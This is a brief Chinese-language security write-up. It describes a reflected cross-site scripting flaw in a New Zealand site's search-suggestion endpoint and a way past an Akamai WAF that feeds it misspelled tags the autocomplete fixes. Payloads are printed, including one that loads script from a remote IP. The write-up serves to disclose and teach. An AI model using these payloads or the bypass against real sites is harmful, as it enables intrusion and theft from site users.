几个月前,在查看一个受欢迎的新西兰网站时,发现其搜索功能在与搜索框交互时会查询此端点来获取搜索结果,如<snip>/ViewSuggestSearch-Suggest&SearchTerm=tshirt
,返回包含搜索建议的 HTML 代码,如<div class="suggest-results-list search-spring">
等。
尝试注入 HTML 标签<h1>HACKS?!</h1>
,输入被反射且未被净化,意识到可能获取 JavaScript 执行等权限。接着注入<script>alert(document.domain)</script>
,被网站的 Web 应用防火墙(WAF)拦截,该公司安装了 Akamai 的‘Kona Site Defender’。
回顾首次注入尝试,发现“HACKS”被改为“hack”,可能是由于自动补全功能,这或可用于绕过 WAF。尝试“<script>”被拦截,改为“<scripr>”(“script”的拼写错误),发现 WAF 未拦截,且自动补全不喜欢第二个单词后接“>”,添加“/”后仍未被拦截,又因 WAF 不喜欢“alert(”,改用“alertt(”,最终成功绕过 WAF 并弹出警告框,如<scripr/src="//<remote-ip>/"></scripr/>
(ip 地址比域名更容易绕过)。此发现展示了如何利用这类转换来绕过 WAF 和过滤器。
**粗体** _斜体_ [链接](http://example.com) `代码` - 列表 > 引用
。你还可以使用@
来通知其他用户。